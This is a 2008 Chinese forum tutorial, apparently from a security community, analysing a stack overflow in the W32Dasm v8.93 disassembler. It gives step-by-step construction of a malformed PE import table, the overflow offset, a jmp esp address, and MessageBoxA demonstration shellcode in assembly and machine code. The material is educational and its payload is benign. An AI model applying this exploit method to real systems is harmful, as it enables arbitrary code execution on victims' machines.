-
-
[原创]W32dsm v8.93漏洞分析利用
-
发表于: 2008-7-4 11:42 6959
-
【文章标题】: W32dsm v8.93漏洞分析利用
【文章作者】: aoanzhishu
【作者邮箱】: aoanzhishu@yahoo.com.cn
【下载地址】: 附件下载
【漏洞方式】: 栈溢出
【攻击形式】: 对话框显示
【使用工具】: OD,LordPE,UltraEdit-32
【操作平台】: XP (English)
【作者声明】:献给初学漏洞的朋友们,高手漂过,欢迎指点与建议,仅做为学习交流,别无其他目的
1.漏洞提要
我们首先来熟悉下W32dsm v8.93这个古老的漏洞,当时已经风靡网络,再拿出来练练手,对于新手很不错
英文报道:
"The program uses the wsprintf() function to copy the name of the
imported/exported functions of the analyzed file into a buffer of only
256 bytes, with the possibility for an attacker to execute malicious
code."
中文报道:
W32Dasm在处理引出/导入函数名时存在问题,远程攻击者可以利用这个漏洞构建恶意可执行文件,诱使用户处理,可以用户进程权限在系统上执行任意指令。
程序使用wsprintf()函数拷贝分析文件的引入/导出函数名到一个256字节的缓冲区,超长引入/导出函数名可发生缓冲区溢出,精心构建一个畸形可执行文件,诱使用户调试,可以进程权限在系统上执行任意指令。
W32dsm处理导入函数时确实存在栈溢出漏洞,但是很长的导入函数名会造成PE文件无效
受影响系统:
- Microsoft Windows XP
- Microsoft Windows NT 4.0
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2000
反汇编如下:
0045D8DB E8 A0170500 CALL <JMP.&USER32.wsprintfA> 格式串溢出
0045D8E0 83C4 0C ADD ESP,0C
0045D8E3 8D8D 04FFFFFF LEA ECX,DWORD PTR SS:[EBP-FC]
0045D8E9 51 PUSH ECX
0045D8EA E8 65130500 CALL <JMP.&KERNEL32.lstrlen>
0045D8EF 83F8 50 CMP EAX,50
0045D8F2 7E 24 JLE SHORT H-W32Das.0045D918
0045D8F4 6A 50 PUSH 50
0045D8F6 8D85 04FFFFFF LEA EAX,DWORD PTR SS:[EBP-FC]
0068BDC8 7C80BE2D kernel32.7C80BE2D
0068BDCC 0068BDE4 |s = 0068BDE4
0068BDD0 004C3818 |Format = "%s"
0068BDD4 00CCD13F \<%s> = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"...
2.构造文件
这里要求大家熟悉PE文件结构的知识
找个exe程序把DOS头部复制过来如下
找到偏移3C处发现PE头偏移地址为80h,下面在80h处添加文件头结构体具体信息,大多数exe都有text,data节,我们找到记事本程序直接复制好相关信息
下面要注意偏移100h处事我们要利用漏洞的关键,是导入表的RVA与大小,我们构造畸形文件为了简单,其他15项都为0,我们构造三个区块,把第三个区块作为导入表的结构入口
首先找到 有0B01的magic(IMAGE_OPTIONAL_HEADER)入口地址,再加上E0算出为 E0h + 98h=178h,该偏移地址作为各个区块头的入口 继续复制记事本中的该部分,此时100h~177先填充为0
注意为了文件简小,我们把偏移1adh处偏移RVA改为20h,即偏移2000,偏移1d5h处偏移RVA改为30h,即偏移3000,自行更改区块大小值恰当即可
有RVA与文件偏移换算得:.text在200h,.data在600h,.idata在800h处
此时exe文件已经成型了
下面补充代码,数据
200h~600h干脆随便复制点代码就行了,但是要构造能够被windows识别为正常exe文件得下点功夫,这里不深入了
600h~610h复制记事本程序的data段部分
现在到关键区段了
回到偏移100h,这时我们知道该填充00300000h了,大小自定我这里选3C02大一点
接着在800h填充导入表结构信息如下
这里弄两个畸形导入函数地址分别为310Ch,3120h
换算后为90Ch,920h,多个便于确定溢出点
从偏移8d0h开始就填充78h,越多越好最终确定溢出位置在文件偏移9d6h处
3.漏洞利用
选用该模式演示个对话框显示
Shellcode asm为:
xor ebx,ebx
push ebx
push 20207568
push 7369687A
push 6E616F61
mov eax,esp
push ebx
push eax
push ebx
mov eax,USER32.MESSAGEBOXA
call eax
nop
由于这个漏洞利用比较狭窄,不能超过80字节shellcode,
我就不重定位选取dll,
机器码为:
33DB
53
68 68752020
68 7A686973
68 616F616E
8BC4
53
50
50
53
B8 8A05457E // 注意:这时我电脑上的 messageboxa 的地址 0x7E45058A
// jmp esp 地址 选的通用地址 0x7FFA4512
复制到文件偏移9d6h处
下面溢出效果图
4.结论
其实这个漏洞利用起来比较麻烦,要求有较好的PE文件结构知识,而且可利用的范围狭窄,只能利用导入表溢出,空间狭窄
鄙人如有疏忽,敬请执教,欢迎指点
请勿把exploit作为恶意用途使用
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [推荐]你能答出输出的结果吗? 13794
- [原创]W32dsm v8.93漏洞分析利用 6960
- [作品提交]集装箱号码演示 8656
- [作品提交]DDA与Bresenham直线算法 8239
- [作品提交]台球 18833